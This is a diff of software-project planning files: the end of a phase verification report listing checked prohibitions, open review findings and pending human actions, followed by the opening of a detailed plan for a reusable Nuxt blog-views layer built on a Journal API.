+| Script never reads/sets SUMMER_* | holds (only SUMMERCMS_*; forbidden scan) | unverified-prohibition |
+| Script never discards local work in an existing checkout | holds (refusals; TestScriptBehavior) | unverified-prohibition |
+| Script never escalates or writes outside its dirs | holds on reading new.sh (no sudo; writes clone dir, GOBIN, app dir) | unverified-prohibition |
+| No task pushes/tags/bumps require/deploys (x3) | holds (no v0.1.13 tag; site require v0.1.12; prod /new 404) | unverified-prohibition |
+| One-liner never shown over HTTP or without -f | holds (terminal.json, docs) | unverified-prohibition |
+| Framework docs never name a consuming application | holds (docs check) | unverified-prohibition |
+| Gate never passes on skipped/filtered/-update run | holds (`require_named_pass` rejects skip, "no tests to run", golden diffs) | unverified-prohibition |
+
+### Anti-Patterns Found
+
+No TBD/FIXME/XXX/TODO/placeholder markers in the phase's files.
+
+Open code-review findings (14.3-REVIEW.md, all `open` in 14.3-REVIEW-DISPOSITION.md), classified against the success criteria:
+
+| Finding | File | Severity here | Defeats a success criterion? |
+|---------|------|---------------|------------------------------|
+| CR-01 whitespace in framework path -> unparseable go.mod, `--no-plugin` reports success | `internal/build/stubs/new.tmpl:9`, `scaffold.go` `frameworkReplaceFor` | ⚠️ Warning (reproduced) | No for the documented flows: the bootstrap always puts the app next to the checkout, so only a checkout basename with whitespace (custom `SUMMERCMS_DIR` or `--framework`) triggers it; a parent path with spaces is fine (verified). It is a real correctness bug in the `--framework` path of SC1/SC2 and should be fixed or explicitly deferred before the v0.1.13 tag freezes it |
+| WR-01 Ctrl+C leaves a partial app; re-runs refused | `cmd/summer/main.go`, `new.go` | ⚠️ Warning | No; docs sentence about cleanup is over-broad |
+| WR-02 script accepts Go keywords/main/internal, clones and installs before summer new refuses | `new.sh:215` | ⚠️ Warning | No (summer new still refuses, nothing broken is written), but makes a docs claim in installation.md false |
+| WR-03 bad SUMMERCMS_REF on fresh clone leaves a branch checkout the next run refuses | `new.sh:163-169` | ⚠️ Warning | No (override-only path) |
+| WR-04 binary-source fallback can point into GOMODCACHE | `new.go:286-297` | ⚠️ Warning | No for the bootstrap path (always passes --framework); touches the "no machine-specific paths" prohibition |
+| WR-05 every app uses host port 54320 | `new.tmpl:67` | ⚠️ Warning | No (single-app criteria), second concurrent app's `docker compose up` fails |
+| WR-06 go.work.sum ignored; --no-plugin app commits no checksums | `new.tmpl:84` | ⚠️ Warning | No; D-25 locked this choice; supply-chain risk should be recorded |
+| WR-07 TestTerminalCommands passes SUMMERCMS_DIR through | `terminal_check_test.go:74` | ℹ️ Info (test hygiene) | No |
+| WR-08 `--generator` stage orphans the app binary | `check-phase14.3.sh:154` | ℹ️ Info (test hygiene) | No; in this run port 8080 was free afterwards |
+| IN-01..IN-10 | various | ℹ️ Info | No |
+
+### Human Verification Required
+
+1. **Tag v0.1.13.** Test: tag and push. Expected: the remote lists v0.1.13. Why: D-28 user action; until then the one-liner installs v0.1.12, which has no `summer new`.
+2. **Bump the site require and redeploy.** Test: bump `sm-summercmsio-plugin`/app to v0.1.13, deploy per DEPLOY.md, then `curl -sI https://summercms.io/new`. Expected: 200 `text/plain; charset=utf-8`. Why: currently 404.
+3. **Production acceptance.** Test: `bash scripts/check-phase14.3.sh --acceptance-production`. Expected: `Phase 14.3 production acceptance passed`.
+4. **Decide CR-01 / WR-02 before tagging.** Fix or mark deferred in 14.3-REVIEW-DISPOSITION.md.
+5. **Read generated CLAUDE.md and the docs pages** for accuracy and tone (WR-02 makes one installation.md sentence false).
+6. **Confirm the judgment-tier prohibition verdicts** in the table above.
+
+### Gaps Summary
+
+No goal gap blocks the phase: every success criterion is implemented, wired and was exercised by this verifier (unit gate, real PostgreSQL generator run, bootstrap end-to-end, node:24-bookworm container acceptance). The goal is not fully delivered until the user actions run: the v0.1.13 tag does not exist, summercms.io/new answers 404, and the production acceptance has not run. The open review findings are quality defects outside the documented happy path; CR-01 is the one worth fixing before the tag, because the tag freezes the generator and the script.
+
+---
+
+_Verified: 2026-10-08T12:10:00Z_
+_Verifier: Claude (gsd-verifier)_

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-PLAN.md

@@ -0,0 +1,384 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 01
+type: execute
+wave: 1
+depends_on: []
+files_modified:
+  - ../vue-journal-layer/package.json
+  - ../vue-journal-layer/pnpm-lock.yaml
+  - ../vue-journal-layer/pnpm-workspace.yaml
+  - ../vue-journal-layer/.nvmrc
+  - ../vue-journal-layer/.gitignore
+  - ../vue-journal-layer/tsconfig.json
+  - ../vue-journal-layer/nuxt.config.ts
+  - ../vue-journal-layer/lib/journal-module.ts
+  - ../vue-journal-layer/app/app.vue
+  - ../vue-journal-layer/app/layouts/default.vue
+  - ../vue-journal-layer/app/utils/types.ts
+  - ../vue-journal-layer/app/utils/client.ts
+  - ../vue-journal-layer/app/utils/routes.ts
+  - ../vue-journal-layer/app/utils/htmlGate.ts
+  - ../vue-journal-layer/app/utils/pagination.ts
+  - ../vue-journal-layer/app/utils/sitemap.ts
+  - ../vue-journal-layer/app/utils/seo.ts
+  - ../vue-journal-layer/app/composables/useJournalApi.ts
+  - ../vue-journal-layer/app/composables/useJournalLinks.ts
+  - ../vue-journal-layer/app/journal-pages/PostIndexPage.vue
+  - ../vue-journal-layer/app/journal-pages/PostPage.vue
+  - ../vue-journal-layer/app/journal-pages/CategoryPage.vue
+  - ../vue-journal-layer/app/journal-pages/TagPage.vue
+  - ../vue-journal-layer/app/journal-pages/AuthorPage.vue
+  - ../vue-journal-layer/app/components/Journal/PostBody.vue
+  - ../vue-journal-layer/app/components/Journal/PostCard.vue
+  - ../vue-journal-layer/app/components/Journal/PostList.vue
+  - ../vue-journal-layer/app/components/Journal/PostMeta.vue
+  - ../vue-journal-layer/app/components/Journal/FeaturedImage.vue
+  - ../vue-journal-layer/app/components/Journal/Pagination.vue
+  - ../vue-journal-layer/app/components/Journal/RelatedPosts.vue
+  - ../vue-journal-layer/app/components/Journal/IndexHeader.vue
+  - ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
+  - ../vue-journal-layer/app/components/Journal/AuthorCard.vue
+  - ../vue-journal-layer/app/components/Journal/RssLink.vue
+  - ../vue-journal-layer/app/assets/css/journal-tokens.css
+  - ../vue-journal-layer/app/assets/css/journal-base.css
+  - ../vue-journal-layer/i18n/locales/pl.json
+  - ../vue-journal-layer/i18n/locales/en.json
+  - ../vue-journal-layer/server/routes/rss.xml.ts
+  - ../vue-journal-layer/server/api/__sitemap__/journal.ts
+  - ../vue-journal-layer/testing/fixture-api.mjs
+  - ../vue-journal-layer/testing/nuxt-server.mjs
+  - ../vue-journal-layer/testing/smoke-ssr.mjs
+  - ../vue-journal-layer/testing/fixtures/acme/posts.json
+  - ../vue-journal-layer/testing/fixtures/acme/categories.json
+  - ../vue-journal-layer/testing/fixtures/acme/tags.json
+  - ../vue-journal-layer/testing/fixtures/acme/authors.json
+  - ../vue-journal-layer/testing/fixtures/acme/rss.xml
+  - ../vue-journal-layer/testing/expect-acme.txt
+  - ../vue-journal-layer/scripts/check-git-install.sh
+  - ../vue-journal-layer/.playground/nuxt.config.ts
+  - ../vue-journal-layer/.playground/app/app.vue
+  - ../vue-journal-layer/README.md
+autonomous: false
+requirements: [SC-2, SC-3]
+user_setup:
+  - service: git.golem15.com (Gitea 1.25.4)
+    why: "D-02/D-04/D-08: the layer and the site app live in two new public repos; creating a repo needs a Gitea account"
+    dashboard_config:
+      - task: "Create public empty repo golem15/vue-journal-layer (default branch main)"
+        location: "https://git.golem15.com/repo/create (owner golem15)"
+      - task: "Create public empty repo golem15/vue-grzybyfunkcjonalne-app (default branch main)"
+        location: "https://git.golem15.com/repo/create (owner golem15)"
+estimate:
+  tokens: 160000
+  raw_tokens: 160000
+  tasks: 4
+  confidence: low
+must_haves:
+  truths:
+    - "D-02: the Journal views live in the new repo vue-journal-layer, a Nuxt layer that a site app consumes with extends: ['vue-journal-layer']."
+    - "D-04: a scratch consumer installs the layer from git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag> anonymously, pnpm-lock.yaml records the tag commit, and nuxt build of that consumer succeeds (the Wave 0 spike, RESEARCH A1/Pitfall 10)."
+    - "D-05: the layer renders the post list with pagination (page size and sort from journal config), the single post (content_html, featured image, meta, related posts with a latest-posts fallback), category and tag listings, the author page and an RSS link, all through a typed client that calls only anonymous GET routes of the Journal API."
+    - "D-06: every Journal route path comes from the journal.routes config key; false disables a route; route names journal-index, journal-post, journal-category, journal-tag, journal-author stay stable so links never hard-code a path."
+    - "D-03: the layer looks clean on its own with --journal-* CSS custom-property tokens only; no site colours or site copy are in the layer."
+    - "D-16: the layer ships pl and en UI strings, registers them only for locales the consuming app enables, and declares no locale itself, so an app that enables only pl gets no /en routes."
+    - "D-13: @nuxtjs/seo runs in the layer: per-post title, description, og:image and canonical (canonical keeps ?page=N), robots, and a sitemap source that pages the Journal API and builds every loc from journal.routes."
+    - "D-24: the client always requests categories with include_empty=1, so an empty category page answers 200 with its content and an empty list; an unknown category slug answers 404."
+    - "D-20: /autor-style author pages consume the anonymous author endpoint added by the pre-execution quick task; the plan stops at a checkpoint when that endpoint is absent and does not implement it."
+    - "D-21: category pages render the category rich content field (added by the pre-execution quick task) above the post list, through the same HTML gate as post bodies."
+    - "D-14 and Phase 15 D-14: the layer adds no Go endpoint and never calls a Journal write route."
+    - "Every v-html sink (post body, category content, author bio) passes the Go FormatHTML three-pattern gate first; an unsafe value renders a neutral notice, never the raw HTML."
+    - "SSR fetches use the server-only internal base and forward the visitor x-forwarded-for, so Go's journal-public-api bucket stays per visitor (Pitfall 5)."
+    - "The layer repo never names a consuming application; README examples use blog and acme (CLAUDE.md documentation rule)."
+  artifacts:
+    - path: "../vue-journal-layer/lib/journal-module.ts"
+      provides: "configKey journal; extendPages from journal.routes; public runtime config; i18n:registerModule for enabled locales"
+      contains: "extendPages"
+    - path: "../vue-journal-layer/app/utils/client.ts"
+      provides: "createJournalClient over an injected fetcher; include_empty=1; per_page clamp 1..30"
+      contains: "include_empty"
+    - path: "../vue-journal-layer/app/utils/htmlGate.ts"
+      provides: "isSafeJournalHtml and gateJournalHtml with the three Go regex sources"
+      contains: "vbscript"
+    - path: "../vue-journal-layer/app/utils/routes.ts"
+      provides: "DEFAULT_JOURNAL_ROUTES, JOURNAL_ROUTE_NAMES, normalizeJournalRoutes, fillJournalPath"
+      contains: "journal-post"
+    - path: "../vue-journal-layer/server/api/__sitemap__/journal.ts"
+      provides: "sitemap source paging posts per_page=30 plus categories include_empty=1"
+      contains: "defineSitemapEventHandler"
+    - path: "../vue-journal-layer/scripts/check-git-install.sh"
+      provides: "the D-04 spike: install from a git tag, nuxt build, SSR smoke against the fixture API"
+      contains: "git+https://git.golem15.com/golem15/vue-journal-layer.git"
+    - path: "../vue-journal-layer/testing/smoke-ssr.mjs"
+      provides: "boots a built .output against the fixture API and checks status/contains/type lines"
+      contains: "smoke-ssr: ok"
+    - path: "../vue-journal-layer/README.md"
+      provides: "neutral layer README (blog/acme), config keys, tokens, release by git tag"
+      contains: "extends"
+  key_links:
+    - from: "../vue-journal-layer/lib/journal-module.ts"
+      to: "../vue-journal-layer/app/journal-pages/PostPage.vue"
+      via: "extendPages pushes { name: journal-post, path: journal.routes.post, file } for every non-false route"
+      pattern: "journal-pages"
+    - from: "../vue-journal-layer/app/composables/useJournalApi.ts"
+      to: "../vue-journal-layer/app/utils/client.ts"
+      via: "server uses runtimeConfig.journal.apiBase and forwards x-forwarded-for; browser uses runtimeConfig.public.journal.apiBase"
+      pattern: "x-forwarded-for"
+    - from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
+      to: "../vue-journal-layer/app/utils/htmlGate.ts"
+      via: "v-html only receives gateJournalHtml(...).html when safe"
+      pattern: "gateJournalHtml"
+    - from: "../vue-journal-layer/server/api/__sitemap__/journal.ts"
+      to: "../vue-journal-layer/app/utils/sitemap.ts"
+      via: "buildJournalSitemapEntries(posts, categories, routes) fills loc from journal.routes"
+      pattern: "buildJournalSitemapEntries"
+---
+
+## Phase Goal
+
+ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
+
+MVP_MODE note: the ROADMAP `**Goal:**` line is not an "As a / I want to / so that" story. No story is invented here; run `/msd-mvp-phase 16` to reframe it if a story is wanted.
+
+This plan's slice: a scratch site installs `vue-journal-layer` from a git tag and serves one Journal post as full SSR HTML from the Journal API, then the remaining Journal views, SEO, sitemap and RSS grow out of that path and ship as tag `v0.1.0`.
+
+<objective>
+Create the reusable Journal views layer (D-02) with configurable routes (D-06), a typed anonymous-GET Journal API client (D-05), token-driven neutral design (D-03), pl/en strings (D-16), @nuxtjs/seo and sitemap (D-13), and prove the D-04 git-tag distribution end to end before any site work starts.
+
+Purpose: SC-2 (the blog views live in a reusable place) and the layer half of SC-3 (every PHP Journal page has a named successor).
+Output: the `vue-journal-layer` repo pushed to git.golem15.com with tags `v0.0.1` (spike) and `v0.1.0` (release consumed by 16-02).
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/PROJECT.md
+@.planning/ROADMAP.md
+@.planning/STATE.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md
+@../sm-summercmsio-app/vue-summercmsio-app/package.json
+@../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts
+@../sm-journal-plugin/routes.go
+@../sm-journal-plugin/controllers/api/posts.go
+@../sm-journal-plugin/controllers/api/posts_helpers.go
+@../sm-journal-plugin/classes/format_html.go
+
+<interfaces>
+Journal API facts the layer builds against (read from sm-journal-plugin at d09edde or newer; do not re-derive):
+- Anonymous GET group under /_journal/api/v1 with middleware throttle:journal-public-api (120/min keyed on surf.ClientIP; 127.0.0.1/32 is a trusted proxy in the host config/http.yaml).
+- GET posts: query page, per_page (default 9, max 30), sort ("<column> <asc|desc>", columns published_at, created_at, updated_at, title, id; default "published_at desc"), category (slug or id, includes nested children), tag (slug), search (min 3 chars). Envelope: data (array) and meta { current_page, last_page, per_page, total }.
+- GET posts/{slug} (slug route regex [a-z0-9][a-z0-9\-/]*): { data: post + previous_post, next_post, related_posts }. Unknown, draft or future post: 404 with body { error: "Post not found" } and no data key.
+- Post fields: id, title, slug, excerpt, content, content_html, reading_time, published, published_at ("2006-01-02T15:04:05+00:00" UTC), is_pinned, metadata, sources, author ({ id, first_name, last_name, login } or null), categories [{ id, name, slug }], tags [{ id, name, slug }], featured_images [{ id, url, file_name, file_size }], featured_image_url (string or null), translations, created_at, updated_at.
+- related_posts: latest 3 in the same categories; empty when the post has no category.
+- GET categories[?include_empty=1]: { data: tree of { id, name, slug, description, parent_id, nest_depth, post_count, children? } }; categories with zero published posts are omitted unless include_empty=1.
+- GET tags: { data: [{ id, name, slug, post_count }] }.
+- GET rss: RSS 2.0, Content-Type application/rss+xml; item links are config url + "/blog/" + slug.
+- Pre-execution additions (assumed shapes, confirmed by Task 1): D-20 anonymous author endpoint (assumed GET /_journal/api/v1/authors/{slug} answering { data: { id, slug, first_name, last_name, plus public profile fields } } with the author's posts as a paginated list, assumed GET /_journal/api/v1/authors/{slug}/posts or posts?author=<slug>); D-21 category rich content field (assumed key content, an HTML string or null, on every categories row).
+- FormatHTML gate regex sources (classes/format_html.go): (?i)<(?:script|iframe|object|embed)\b, (?i)\son[a-z]+\s*=, (?i)(?:javascript|vbscript|data):
+</interfaces>
+</context>
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP success criteria SC-1..SC-4 and CONTEXT decisions D-01..D-25 are the source of truth for must_haves.
+
+## Artifacts this phase produces
+
+- Repo `git.golem15.com/golem15/vue-journal-layer` (local checkout `../vue-journal-layer`), package name `vue-journal-layer`, `"main": "./nuxt.config.ts"`, tags `v0.0.1` and `v0.1.0`.
+- Nuxt module `lib/journal-module.ts` (meta.name `vue-journal-layer`, configKey `journal`) with options `journal.routes` (`index`, `post`, `category`, `tag`, `author`: path string or `false`), `journal.perPage` (`index`, `category`, `tag`, `author`), `journal.sort`, `journal.relatedCount`, `journal.rss`.
+- Route names `journal-index`, `journal-post`, `journal-category`, `journal-tag`, `journal-author`; neutral default paths `/blog`, `/blog/:slug`, `/blog/category/:category`, `/blog/tag/:tag`, `/blog/author/:author`.
+- Runtime config keys `runtimeConfig.journal.apiBase` (env `NUXT_JOURNAL_API_BASE`, default `http://127.0.0.1:8096/_journal/api/v1`), `runtimeConfig.public.journal.apiBase` (env `NUXT_PUBLIC_JOURNAL_API_BASE`, default `/_journal/api/v1`), `runtimeConfig.public.journal.routes`, `.perPage`, `.sort`, `.relatedCount`, `.rss`.
+- Pure TS utils (auto-imported in Nuxt, importable by node --test): `types.ts` (`JournalPost`, `JournalPostDetail`, `JournalCategory`, `JournalTag`, `JournalAuthor`, `JournalAuthorRef`, `JournalFeaturedImage`, `JournalPage<T>`, `JournalItem<T>`, `JournalRoutes`, `JournalModuleOptions`), `client.ts` (`JOURNAL_MAX_PER_PAGE`, `clampPerPage`, `buildPostListQuery`, `encodeSlugPath`, `flattenCategories`, `createJournalClient`), `routes.ts` (`DEFAULT_JOURNAL_ROUTES`, `JOURNAL_ROUTE_NAMES`, `normalizeJournalRoutes`, `fillJournalPath`), `htmlGate.ts` (`UNSAFE_TAG`, `EVENT_HANDLER`, `DANGEROUS_URL`, `isSafeJournalHtml`, `gateJournalHtml`), `pagination.ts` (`parsePageParam`, `pageOutOfRange`, `paginationWindow`), `sitemap.ts` (`buildJournalSitemapEntries`), `seo.ts` (`postSeoMeta`, `listTitle`).
+- Composables `useJournalApi()` and `useJournalLinks()`.
+- Page components `app/journal-pages/{PostIndexPage,PostPage,CategoryPage,TagPage,AuthorPage}.vue`.
+- Overridable components `JournalPostBody`, `JournalPostCard`, `JournalPostList`, `JournalPostMeta`, `JournalFeaturedImage`, `JournalPagination`, `JournalRelatedPosts`, `JournalIndexHeader`, `JournalCategoryHeader`, `JournalAuthorCard`, `JournalRssLink`.
+- CSS tokens `--journal-color-*`, `--journal-font-*`, `--journal-space-*`, `--journal-radius-*` in `app/assets/css/journal-tokens.css`; neutral styles in `journal-base.css`.
+- i18n message files `i18n/locales/{pl,en}.json` under the `journal.*` key tree.
+- Nitro routes `/rss.xml` (proxy of the Journal API rss with x-forwarded-for) and `/api/__sitemap__/journal` (sitemap source).
+- Test tooling `testing/fixture-api.mjs` (`startFixtureApi`), `testing/nuxt-server.mjs` (`startNuxtServer`), `testing/smoke-ssr.mjs` (CLI), fixtures `testing/fixtures/acme/*`, expectations `testing/expect-acme.txt`, spike script `scripts/check-git-install.sh <tag>`.
+
+<!-- planner-discipline-allow: grzyb -->
+
+<tasks>
+
+<task type="checkpoint:human-action" gate="blocking-human">
+  <name>Task 1: Prerequisite gate — two Gitea repos exist and the D-20/D-21 Journal additions are in sm-journal-plugin</name>
+  <precondition>The sibling checkout ../sm-journal-plugin exists and builds (go -C ../sm-journal-plugin vet ./... exits 0).</precondition>
+  <read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-02, D-04, D-08, D-20, D-21), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pitfall 11, Open Question 1, Journal API table), ../sm-journal-plugin/routes.go, ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/controllers/api/posts_helpers.go (serializeCategoryNode), ../sm-journal-plugin/controllers/api/posts.go (serializeAuthor), ../sm-journal-plugin/README.md</read_first>
+  <action>Before stopping, run every check in the verify block and report which pass. Then stop for the human: (a) create the public empty repos golem15/vue-journal-layer and golem15/vue-grzybyfunkcjonalne-app on git.golem15.com if the ls-remote checks fail (D-02, D-08; Pitfall 11); (b) run the pre-execution quick tasks in ../sm-journal-plugin if the D-20 author endpoint or the D-21 category content field is missing. Do not implement either Journal addition in this phase (D-20, D-21 are prerequisites, not plan work) and create no Journal route or handler in this phase.
+
+After the human resumes and every check passes, read the landed code and record a "Prerequisite contract" section in the plan SUMMARY: the exact D-20 route path or paths, the author object field names (slug and every public profile field, for example bio or avatar if present), how the author's posts are listed (path, query keys, envelope), the 404 body; and the exact D-21 key on the categories rows (assumed content) plus whether it is HTML or markdown. Tasks 2–4 use these recorded names; where they differ from the assumptions in this plan's interfaces block, the plugin wins (it is the contract) and the deviation is noted in the SUMMARY.</action>
+  <instructions>
+    Claude ran the checks below and reports the result of each.
+    The human: create the two public repos on git.golem15.com (owner golem15, empty, default branch main) and make sure the D-20 author endpoint and the D-21 category content field quick tasks have landed in ../sm-journal-plugin.
+  </instructions>
+  <verification>All four checks in the verify block exit 0.</verification>
+  <resume-signal>Type "prerequisites ready" once the repos exist and both quick tasks have landed.</resume-signal>
+  <verify>
+    <automated>GIT_TERMINAL_PROMPT=0 git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git &gt;/dev/null &amp;&amp; GIT_TERMINAL_PROMPT=0 git ls-remote https://git.golem15.com/golem15/vue-grzybyfunkcjonalne-app.git &gt;/dev/null &amp;&amp; grep -qi 'author' ../sm-journal-plugin/routes.go &amp;&amp; grep -qi 'content' ../sm-journal-plugin/models/category.go &amp;&amp; awk '/^func serializeCategoryNode/,/^}/' ../sm-journal-plugin/controllers/api/posts_helpers.go | grep -qi 'content' &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; echo gate-ok</automated>
+    <fails_when>Non-zero exit, or the final line is not "gate-ok": a repo ls-remote fails (repo missing or not public), routes.go has no author route, models/category.go has no content field, or serializeCategoryNode does not emit it.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `git ls-remote` succeeds anonymously for both https://git.golem15.com/golem15/vue-journal-layer.git and https://git.golem15.com/golem15/vue-grzybyfunkcjonalne-app.git.
+    - ../sm-journal-plugin/routes.go registers an anonymous author route (D-20) and models/category.go declares a content field that serializeCategoryNode emits (D-21).
+    - The SUMMARY records the confirmed D-20 route paths and author fields and the D-21 categories key.
+    - No file in ../sm-journal-plugin was modified by this plan.
+  </acceptance_criteria>
+  <done>Both repos exist and the author endpoint and category content field are confirmed, with their exact names recorded for Tasks 2–4.</done>
+</task>
+
+<task type="tracer">
+  <name>Task 2: Tracer — a scratch site installs the layer from git tag v0.0.1 and serves one Journal post as SSR HTML</name>
+  <reversibility rating="costly">D-02: every other blog builds on this layer's module, route names and component names; changing them means touching every consuming app.</reversibility>
+  <files>../vue-journal-layer/package.json, ../vue-journal-layer/pnpm-lock.yaml, ../vue-journal-layer/pnpm-workspace.yaml, ../vue-journal-layer/.nvmrc, ../vue-journal-layer/.gitignore, ../vue-journal-layer/tsconfig.json, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/app.vue, ../vue-journal-layer/app/layouts/default.vue, ../vue-journal-layer/app/utils/types.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/routes.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/composables/useJournalApi.ts, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/testing/fixture-api.mjs, ../vue-journal-layer/testing/nuxt-server.mjs, ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/fixtures/acme/categories.json, ../vue-journal-layer/testing/fixtures/acme/tags.json, ../vue-journal-layer/testing/fixtures/acme/authors.json, ../vue-journal-layer/testing/fixtures/acme/rss.xml, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/.playground/app/app.vue</files>
+  <read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pattern 1, Pattern 2, Anti-Patterns, Pitfalls 4, 5, 9, 10, Standard Stack, Package Legitimacy Audit), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md (package.json, nuxt.config.ts, modules/journal.ts, app/utils), ../sm-summercmsio-app/vue-summercmsio-app/package.json, ../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts, ../sm-summercmsio-app/vue-summercmsio-app/pnpm-workspace.yaml, ../sm-summercmsio-app/vue-summercmsio-app/.gitignore, ../sm-summercmsio-app/vue-summercmsio-app/app/utils/scrollSpy.ts, ../sm-journal-plugin/controllers/api/posts.go (serializePost, Show), ../sm-journal-plugin/classes/format_html.go, the Task 1 "Prerequisite contract" in this plan's SUMMARY</read_first>
+  <action>Clone the empty repo into ../vue-journal-layer (git clone git@git.golem15.com:golem15/vue-journal-layer.git), branch main. Copy .nvmrc (22.22.0), tsconfig.json (extends ./.nuxt/tsconfig.json) and pnpm-workspace.yaml (allowBuilds esbuild, @parcel/watcher, vue-demi) from ../sm-summercmsio-app/vue-summercmsio-app; .gitignore adds node_modules/, .nuxt/, .output/, .data/, .playground/.nuxt/, .playground/.output/.
+
+package.json: name vue-journal-layer, version 0.0.1, private true, type module, main ./nuxt.config.ts, engines node >=22.18. dependencies exactly @nuxt/fonts 0.14.0, @nuxtjs/i18n 10.4.0, @nuxtjs/seo 5.2.1 (versions already locked in vue-summercmsio-app/pnpm-lock.yaml; Package Legitimacy Audit approved). devDependencies exactly nuxt 4.4.8, vue 3.5.35, typescript 5.9.3; peerDependencies nuxt 4.4.8 so the consumer's nuxt resolves for imports from nuxt/kit. Scripts: dev = nuxi dev .playground, build:playground = nuxt build .playground, dev:prepare = nuxt prepare .playground, check:git-install = bash scripts/check-git-install.sh. Do not add an npm lifecycle script named prepare or any install-time build: a git-hosted dependency that needs preparation breaks pnpm install (Pitfall 10). No sanitize-html (RESEARCH A4: the Go three-pattern gate is the sanitizer). Run pnpm install to write pnpm-lock.yaml.
+
+nuxt.config.ts (layer): compute currentDir from fileURLToPath(new URL('.', import.meta.url)) and build every path from it, never relative or alias paths (Pitfall 9). Set pages: true (the consumer may have no app/pages directory). modules: '@nuxt/fonts', '@nuxtjs/i18n', '@nuxtjs/seo' and the absolute path of lib/journal-module.ts, declared once here so the app never re-lists them (Pitfall 4). The module sits in lib/ rather than modules/ so Nuxt's local-modules auto-scan cannot register it a second time. runtimeConfig.journal.apiBase = http://127.0.0.1:8096/_journal/api/v1 (server only); runtimeConfig.public.journal.apiBase = /_journal/api/v1. ogImage enabled false. i18n: no locales key in the layer (D-16, see Task 3).
+
+lib/journal-module.ts: defineNuxtModule from nuxt/kit with meta.name vue-journal-layer and configKey journal. Defaults: routes = DEFAULT_JOURNAL_ROUTES (index /blog, post /blog/:slug, category /blog/category/:category, tag /blog/tag/:tag, author /blog/author/:author), perPage { index 9, category 9, tag 9, author 9 }, sort published_at desc, relatedCount 3, rss true. In setup call normalizeJournalRoutes(options.routes), then extendPages pushing { name: JOURNAL_ROUTE_NAMES[key], path, file: absolute path of app/journal-pages/<Page>.vue } for each key whose path is not false (D-06). Copy routes, perPage, sort, relatedCount and rss into nuxt.options.runtimeConfig.public.journal next to apiBase. Import helpers from ../app/utils/routes.ts with a relative path; never use the tilde or at-sign alias in layer source (they resolve to the consuming project).
+
+app/utils (pure TS, no Nuxt auto-imports, type-only imports between utils, so node --test can import them with explicit .ts paths like scrollSpy.ts): types.ts with the interfaces listed under Artifacts, mirroring the Go serializer field names exactly (snake_case, nullable where Go can emit null) plus JournalAuthor from the Task 1 contract. routes.ts: DEFAULT_JOURNAL_ROUTES, JOURNAL_ROUTE_NAMES, normalizeJournalRoutes (each value is false or a string starting with /; post must contain :slug, category :category, tag :tag, author :author; otherwise throw an Error whose message names journal.routes.<key>), fillJournalPath(pattern, params) replacing :name segments with encodeURIComponent values per segment. client.ts: JOURNAL_MAX_PER_PAGE = 30, clampPerPage (1..30, non-numeric to the default 9), encodeSlugPath (encode each / separated segment), createJournalClient(fetcher) where fetcher is (path, query?) => Promise<unknown>; methods getPost(slug) returning the data object or null on a 404 (detect status or statusCode 404 on the thrown error), listPosts, listCategories, findCategory, listTags, getAuthor, listAuthorPosts (bodies may land in Task 3/4, but signatures and types are final now); categories always carry include_empty=1 (D-24). htmlGate.ts: UNSAFE_TAG, EVENT_HANDLER, DANGEROUS_URL as the three verbatim Go regex sources with the i flag, isSafeJournalHtml(html), gateJournalHtml(html) returning { safe, html } with html set to the empty string when unsafe.
+
+app/composables/useJournalApi.ts: on the server use useRuntimeConfig().journal.apiBase and pass useRequestHeaders(['x-forwarded-for']) as request headers (Pitfall 5); in the browser use runtimeConfig.public.journal.apiBase; wrap $fetch as the fetcher and return createJournalClient(fetcher). The base never comes from request input (SSRF).
+
+app/journal-pages/PostPage.vue: read route.params.slug, useAsyncData keyed by journal-post-<slug> calling getPost; when null throw createError({ statusCode: 404, fatal: true }); render the title in an h1 and <JournalPostBody :html="post.content_html" />. app/components/Journal/PostBody.vue: v-html only receives gateJournalHtml(html).html when safe; otherwise render a paragraph with class journal-post-body--blocked and the fixed English text "This content cannot be displayed." (Task 3 replaces it with the i18n key journal.post.contentUnavailable). app/app.vue renders NuxtLayout around NuxtPage; app/layouts/default.vue wraps the slot in a main element with class journal-layout.
+
